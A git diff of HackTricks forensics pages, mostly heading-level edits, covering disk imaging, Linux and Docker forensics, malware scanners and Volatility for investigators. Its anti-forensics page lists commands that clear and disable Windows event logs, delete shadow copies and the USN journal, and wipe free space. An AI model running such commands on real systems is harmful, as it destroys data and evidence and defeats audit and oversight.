book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** @@ -34,13 +32,13 @@ We are going to talk about partitions, file-systems, carving, memory, logs, back So if you are doing a professional forensic analysis to some data or just playing a CTF you can find here useful interesting tricks. -## Creating and Mounting an Image +# Creating and Mounting an Image {% content-ref url="image-adquisition-and-mount.md" %} [image-adquisition-and-mount.md](image-adquisition-and-mount.md) {% endcontent-ref %} -## Malware Analysis +# Malware Analysis This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: @@ -48,7 +46,7 @@ This **isn't necessary the first step to perform once you have the image**. But [malware-analysis.md](malware-analysis.md) {% endcontent-ref %} -## Inspecting an Image +# Inspecting an Image if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: @@ -70,7 +68,7 @@ Depending on the used OSs and even platform different interesting artifacts shou [docker-forensics.md](docker-forensics.md) {% endcontent-ref %} -## Deep inspection of specific file-types and Software +# Deep inspection of specific file-types and Software If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ Read the following page to learn some interesting tricks: @@ -85,19 +83,19 @@ I want to do a special mention to the page: [browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md) {% endcontent-ref %} -## Memory Dump Inspection +# Memory Dump Inspection {% content-ref url="memory-dump-analysis/" %} [memory-dump-analysis](memory-dump-analysis/) {% endcontent-ref %} -## Pcap Inspection +# Pcap Inspection {% content-ref url="pcap-inspection/" %} [pcap-inspection](pcap-inspection/) {% endcontent-ref %} -## **Anti-Forensic Techniques** +# **Anti-Forensic Techniques** Keep in mind the possible use of anti-forensic techniques: @@ -105,7 +103,7 @@ Keep in mind the possible use of anti-forensic techniques: [anti-forensic-techniques.md](anti-forensic-techniques.md) {% endcontent-ref %} -## Threat Hunting +# Threat Hunting {% content-ref url="file-integrity-monitoring.md" %} [file-integrity-monitoring.md](file-integrity-monitoring.md) diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 1f168e76..8f1e02f5 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Anti-Forensic Techniques - -## Timestamps +# Timestamps An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` __ and __ `$FILE_NAME`. @@ -28,11 +26,11 @@ Both attributes have 4 timestamps: **Modification**, **access**, **creation**, a **Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. -### TimeStomp - Anti-forensic Tool +## TimeStomp - Anti-forensic Tool This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. -### Usnjrnl +## Usnjrnl The **USN Journal** (Update Sequence Number Journal), or Change Journal, is a feature of the Windows NT file system (NTFS) which **maintains a record of changes made to the volume**.\ It's possible to use the tool [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) to search for modifications of this record. @@ -41,7 +39,7 @@ It's possible to use the tool [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJ The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. -### $LogFile +## $LogFile All metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead\_logging).\ The logged metadata is stored in a file called “**$LogFile**”, which is found in a root directory of an NTFS file system.\ @@ -60,19 +58,19 @@ Using the same tool it's possible to identify to **which time the timestamps wer * MTIME: File's MFT registry modifiction * RTIME: File's access time -### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison Another way to identify suspicions modified files would be to compare the time on both attributes looking for **mismatches**. -### Nanoseconds +## Nanoseconds **NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. -### SetMace - Anti-forensic Tool +## SetMace - Anti-forensic Tool This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME` . However, from Windows Vista it's necessary a live OS to modify this information. -## Data Hiding +# Data Hiding NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the files is deleted. Then, it's possible to **hide data in this slack space**. @@ -82,24 +80,24 @@ There are tools like slacker that allows to hide data in this "hidden" space. Ho Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this can of tools can save the content obfuscated or even encrypted. -## UsbKill +# UsbKill This is a tool that will **turn off the computer is any change in the USB** ports is detected.\ A way to discover this would be to inspect the running processes and **review each python script running**. -## Live Linux Distributions +# Live Linux Distributions These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. -## Secure Deletion +# Secure Deletion [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -## Windows Configuration +# Windows Configuration It's possible to disable several windows logging methods to make the forensics investigation much harder. -### Disable Timestamps - UserAssist +## Disable Timestamps - UserAssist This is a registry key that maintains dates and hours when each executable was run by the user. @@ -108,7 +106,7 @@ Disabling UserAssist requires two steps: 1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. 2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -### Disable Timestamps - Prefetch +## Disable Timestamps - Prefetch This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. @@ -118,7 +116,7 @@ This will save information about the applications executed with the goal of impr * Select Modify on each of these to change the value from 1 (or 3) to 0 * Restart -### Disable Timestamps - Last Access Time +## Disable Timestamps - Last Access Time Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. @@ -127,14 +125,14 @@ Whenever a folder is opened from an NTFS volume on a Windows NT server, the syst 3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. 4. Close the Registry Editor, and reboot the server. -### Delete USB History +## Delete USB History All the **USB Device Entries** are stored in Windows Registry Under **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device in your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) to be sure you have deleted them (and to delete them). Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. -### Disable Shadow Copies +## Disable Shadow Copies **List** shadow copies with `vssadmin list shadowstorage`\ **Delete** them running `vssadmin delete shadow` @@ -151,24 +149,24 @@ To disable shadow copies: It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` -### Overwrite deleted files +## Overwrite deleted files * You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. * You can also use tools like [**Eraser**](https://eraser.heidi.ie) -### Delete Windows event logs +## Delete Windows event logs * Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -### Disable Windows event logs +## Disable Windows event logs * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` * Inside the services section disable the service "Windows Event Log" * `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` -### Disable $UsnJrnl +## Disable $UsnJrnl * `fsutil usn deletejournal /d c:` diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md index f6a069a6..ef991315 100644 --- a/forensics/basic-forensic-methodology/docker-forensics.md +++ b/forensics/basic-forensic-methodology/docker-forensics.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Docker Forensics - -## Container modification +# Container modification There are suspicions that some docker container was compromised: @@ -66,7 +64,7 @@ If you find that **some suspicious file was added** you can access the container docker exec -it wordpress bash ``` -## Images modifications +# Images modifications When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: @@ -83,7 +81,7 @@ Then, you can **decompress** the image and **access the blobs** to search for su tar -xf image.tar ``` -### Basic Analysis +## Basic Analysis You can get **basic information** from the image running: @@ -104,7 +102,7 @@ alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpi dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` -### Dive +## Dive In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: @@ -127,7 +125,7 @@ tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` -## Credentials from memory +# Credentials from memory Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` diff --git a/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/forensics/basic-forensic-methodology/file-integrity-monitoring.md index ffa2cfdb..51e2d5d2 100644 --- a/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -17,16 +17,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Baseline Monitoring - -## Baseline +# Baseline A baseline consist on take a snapshot of certain part of a system in oder to c**ompare it with a future status to highlight changes**. For example, you can calculate and store the hash of each file of the filesystem to .be able to find out which files were modified.\ This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. -### File Integrity Monitoring +## File Integrity Monitoring File integrity monitoring is one of the most powerful techniques used to secure IT infrastructures and business data against a wide variety of both known and unknown threats.\ The goal is to generate a **baseline of all the files** that you want monitor and then **periodically** **check** those files for possible **changes** (in the content, attribute, metadata...). @@ -35,12 +33,12 @@ The goal is to generate a **baseline of all the files** that you want monitor an 2\. **Real-time change notification**, which is typically implemented within or as an extension to the kernel of the operating system that will flag when a file is accessed or modified. -### Tools +## Tools * [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) * [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +# References * [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/forensics/basic-forensic-methodology/image-adquisition-and-mount.md b/forensics/basic-forensic-methodology/image-adquisition-and-mount.md index f3fc051d..66ec7bb3 100644 --- a/forensics/basic-forensic-methodology/image-adquisition-and-mount.md +++ b/forensics/basic-forensic-methodology/image-adquisition-and-mount.md @@ -17,18 +17,16 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Image Adquisition & Mount +# Acquisition -## Acquisition - -### DD +## DD ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` -### dcfldd +## dcfldd ```bash #Raw copy with hashes along the way (more secur s it checks hashes while it's copying the data) @@ -36,7 +34,7 @@ dcfldd if= of= bs=512 hash= hashwindow= -# Linux Forensics +# Initial Information Gathering -## Initial Information Gathering - -### Basic Information +## Basic Information First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get a ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USN, and modify the env variables to use those binaries: @@ -50,7 +48,7 @@ cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` -#### Suspicious information +### Suspicious information While obtaining the basic information you should check for weird things like: @@ -58,7 +56,7 @@ While obtaining the basic information you should check for weird things like: * Check **registered logins** of users without a shell inside `/etc/passwd` * Check for **password hashes** inside `/etc/shadow` for users without a shell -### Memory Dump +## Memory Dump In order to obtain the memory of the running system it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ In order to **compile** it you need to use the **exact same kernel** the victim machine is using. @@ -83,14 +81,14 @@ LiME supports 3 **formats**: LiME can also be use to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` -### Disk Imaging +## Disk Imaging -#### Shutting down +### Shutting down First of all you will need to **shutdown the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shutdown.\ There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but I will also allow the possible **malware** to **destroy evidences**. The "pull the plug" approach may carry **some information loss** (as we have already took an image of the memory not much info is going to be lost) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. -#### Taking an image of the disk +### Taking an image of the disk It's important to note that **before connecting to your computer anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying the any information. @@ -103,7 +101,7 @@ dcfldd if= of= bs=512 hash= hashwindow=) -## Inspect AutoStart locations +# Inspect AutoStart locations -### Scheduled Tasks +## Scheduled Tasks ```bash cat /var/spool/cron/crontabs/* \ @@ -237,7 +235,7 @@ cat /var/spool/cron/crontabs/* \ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` -### Services +## Services It is extremely common for malware to entrench itself as a new, unauthorized service. Linux has a number of scripts that are used to start services as the computer boots. The initialization startup script _**/etc/inittab**_ calls other scripts such as rc.sysinit and various startup scripts under the _**/etc/rc.d/**_ directory, or _**/etc/rc.boot/**_ in some older versions. On other versions of Linux, such as Debian, startup scripts are stored in the _**/etc/init.d/**_ directory. In addition, some common services are enabled in _**/etc/inetd.conf**_ or _**/etc/xinetd/**_ depending on the version of Linux. Digital investigators should inspect each of these startup scripts for anomalous entries. @@ -250,11 +248,11 @@ It is extremely common for malware to entrench itself as a new, unauthorized ser * _**/etc/systemd/system**_ * _**/etc/systemd/system/multi-user.target.wants/**_ -### Kernel Modules +## Kernel Modules On Linux systems, kernel modules are commonly used as rootkit components to malware packages. Kernel modules are loaded when the system boots up based on the configuration information in the `/lib/modules/'uname -r'` and `/etc/modprobe.d` directories, and the `/etc/modprobe` or `/etc/modprobe.conf` file. These areas should be inspected for items that are related to malware. -### Other AutoStart Locations +## Other AutoStart Locations There are several configuration files that Linux uses to automatically launch an executable when a user logs into the system that may contain traces of malware. @@ -262,11 +260,11 @@ There are several configuration files that Linux uses to automatically launch an * _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ are executed when the specific user logs in. * _**/etc/rc.local**_ It is traditionally executed after all the normal system services are started, at the end of the process of switching to a multiuser runlevel. -## Examine Logs +# Examine Logs Look in all available log files on the compromised system for traces of malicious execution and associated activities such as creation of a new service. -### Pure Logs +## Pure Logs **Logon** events recorded in the system and security logs, including logons via the network, can reveal that **malware** or an **intruder gained access** to a compromised system via a given account at a specific time. Other events around the time of a malware infection can be captured in system logs, including the **creation** of a **new** **service** or new accounts around the time of an incident.\ Interesting system logons: @@ -293,7 +291,7 @@ Interesting system logons: Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. In fact, because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. {% endhint %} -### Command History +## Command History Many Linux systems are configured to maintain a command history for each user account: @@ -302,7 +300,7 @@ Many Linux systems are configured to maintain a command history for each user ac * \~/.sh\_history * \~/.\*\_history -### Logins +## Logins Using the command `last -Faiwx` it's possible to get the list of users that have logged in.\ It's recommended to check if those logins make sense: @@ -314,7 +312,7 @@ This is important as **attackers** some times may copy `/bin/bash` inside `/bin/ Note that you can also **take a look to this information reading the logs**. -### Application Traces +## Application Traces * **SSH**: Connections to systems made using SSH to and from a compromised system result in entries being made in files for each user account (_**∼/.ssh/authorized\_keys**_ and _**∼/.ssh/known\_keys**_). These entries can reveal the hostname or IP address of the remote hosts. * **Gnome Desktop**: User accounts may have a _**∼/.recently-used.xbel**_ file that contains information about files that were recently accessed using applications running in the Gnome desktop. @@ -323,20 +321,20 @@ Note that you can also **take a look to this information reading the logs**. * **MySQL**: User accounts may have a _**∼/.mysql\_history**_ file that contains queries executed using MySQL. * **Less**: User accounts may have a _**∼/.lesshst**_ file that contains details about the use of less, including search string history and shell commands executed via less -### USB Logs +## USB Logs [**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USB to find "violation events" (the use of USBs that aren't inside that list). -### Installation +## Installation ``` pip3 install usbrip usbrip ids download #Downloal USB ID database ``` -### Examples +## Examples ``` usbrip events history #Get USB history of your curent linux machine @@ -348,13 +346,13 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -## Review User Accounts and Logon Activities +# Review User Accounts and Logon Activities Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and/or used in close proximity to known unauthorized events. Also check possible sudo brute-force attacks.\ Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ Finally look for accounts with **no passwords** or **easily guessed** passwords. -## Examine File System +# Examine File System File system data structures can provide substantial amounts of **information** related to a **malware** incident, including the **timing** of events and the actual **content** of **malware**.\ **Malware** is increasingly being designed to **thwart file system analysis**. Some malware alter date-time stamps on malicious files to make it more difficult to find them with time line analysis. Other malicious code is designed to only store certain information in memory to minimize the amount of data stored in the file system.\ @@ -377,27 +375,27 @@ You can check the inodes of the files inside a folder using `ls -lai /bin |sort Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modify at the **same time** of the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. {% endhint %} -## Compare files of different filesystem versions +# Compare files of different filesystem versions -#### Find added files +### Find added files ```bash git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ ``` -#### Find Modified content +### Find Modified content ```bash git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time" ``` -#### Find deleted files +### Find deleted files ```bash git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ ``` -#### Other filters +### Other filters **`-diff-filter=[(A|C|D|M|R|T|U|X|B)…​[*]]`** @@ -407,7 +405,7 @@ Also, **these upper-case letters can be downcased to exclude**. E.g. `--diff-fil Note that not all diffs can feature all types. For instance, diffs from the index to the working tree can never have Added entries (because the set of paths included in the diff is limited by what is in the index). Similarly, copied and renamed entries cannot appear if detection for those types is disabled. -## References +# References * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) diff --git a/forensics/basic-forensic-methodology/malware-analysis.md b/forensics/basic-forensic-methodology/malware-analysis.md index bc839fe8..7c9ba448 100644 --- a/forensics/basic-forensic-methodology/malware-analysis.md +++ b/forensics/basic-forensic-methodology/malware-analysis.md @@ -17,30 +17,28 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Malware Analysis - -## Forensics CheatSheets +# Forensics CheatSheets [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/#) -## Online Services +# Online Services * [VirusTotal](https://www.virustotal.com/gui/home/upload) * [HybridAnalysis](https://www.hybrid-analysis.com) * [Koodous](https://koodous.com) * [Intezer](https://analyze.intezer.com) -## Offline Antivirus and Detection Tools +# Offline Antivirus and Detection Tools -### Yara +## Yara -#### Install +### Install ```bash sudo apt-get install -y yara ``` -#### Prepare rules +### Prepare rules Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. @@ -51,14 +49,14 @@ mkdir rules python malware_yara_rules.py ``` -#### Scan +### Scan ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan hole fodler ``` -#### YaraGen: Check for malware and Create rules +### YaraGen: Check for malware and Create rules You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Checkout these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) @@ -67,15 +65,15 @@ You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generat python3.exe yarGen.py --excludegood -m ../../mals/ ``` -### ClamAV +## ClamAV -#### Install +### Install ``` sudo apt-get install -y clamav ``` -#### Scan +### Scan ```bash sudo freshclam #Update rules @@ -83,7 +81,7 @@ clamscan filepath #Scan 1 file clamscan folderpath #Scan the hole folder ``` -### IOCs +## IOCs IOC means Indicator Of Compromise. An IOC is a set of **conditions that identifies** some potentially unwanted software or a confirmed **malware**. Blue Teams use this kind of definitions to **search for this kind of malicious files** in their **systems** and **networks**.\ To share these definitions is very useful as when a malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. @@ -91,7 +89,7 @@ To share these definitions is very useful as when a malware is identified in a c A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. -### Loki +## Loki [**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ Detection is based on four detection methods: @@ -110,11 +108,11 @@ Detection is based on four detection methods: Compares process connection endpoints with C2 IOCs (new since version v.10) ``` -### Linux Malware Detect +## Linux Malware Detect [**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and from malware community resources. -### rkhunter +## rkhunter Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. @@ -122,19 +120,19 @@ Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` -### PEpper +## PEpper [PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). -### NeoPI +## NeoPI [**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. -### **php-malware-finder** +## **php-malware-finder** [**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. -### Apple Binary Signatures +## Apple Binary Signatures When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** @@ -149,17 +147,17 @@ codesign --verify --verbose /Applications/Safari.app spctl --assess --verbose /Applications/Safari.app ``` -## Detection Techniques +# Detection Techniques -### File Stacking +## File Stacking If you know that some folder containing the **files** of a web server was **last updated in some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. -### Baselines +## Baselines If the files of a folder s**houldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. -### Statistical Analysis +## Statistical Analysis When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a webshell might be one of the most**. diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 6bd9dd98..3eea3876 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -17,16 +17,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Memory dump analysis - Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). -## [Volatility](volatility-examples.md) +# [Volatility](volatility-examples.md) The premiere open-source framework for memory dump analysis is [Volatility](volatility-examples.md). Volatility is a Python script for parsing memory dumps that were gathered with an external tool (or a VMware memory image gathered by pausing the VM). So, given the memory dump file and the relevant "profile" (the OS from which the dump was gathered), Volatility can start identifying the structures in the data: running processes, passwords, etc. It is also extensible using plugins for extracting various types of artifact.\ From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -## Mini dump crash report +# Mini dump crash report When the dump is small (just some KB, maybe a few MB) the it's probably a mini dump crash report and not a memory dump. diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md b/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md index 89e93dbf..f0682ea0 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Volatility - CheatSheet - If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # Will use most important plugins (could use a lot of space depending on the size of the memory) ``` -## Installation +# Installation -### volatility3 +## volatility3 ```bash git clone https://github.com/volatilityfoundation/volatility3.git @@ -36,7 +34,7 @@ python3 setup.py install python3 vol.py —h ``` -### volatility2 +## volatility2 {% tabs %} {% tab title="Method1" %} @@ -54,11 +52,11 @@ python setup.py install {% endtab %} {% endtabs %} -## Volatility Commands +# Volatility Commands Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) -### A note on “list” vs. “scan” plugins +## A note on “list” vs. “scan” plugins Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. @@ -68,9 +66,9 @@ That makes “list” plugins pretty fast, but just as vulnerable as the Windows From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +# OS Profiles -### Volatility3 +## Volatility3 As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ Symbol table packs for the various operating systems are available for **download** at: @@ -79,9 +77,9 @@ Symbol table packs for the various operating systems are available for **downloa * [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) * [https://downloads.volatilityfoundation.org/volatility3/symbols/linux.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/linux.zip) -### Volatility2 +## Volatility2 -#### External Profile +### External Profile You can get the list of supported profiles doing: @@ -111,14 +109,14 @@ In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_ ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` -#### Discover Profile +### Discover Profile ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` -#### **Differences between imageinfo and kdbgscan** +### **Differences between imageinfo and kdbgscan** As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the 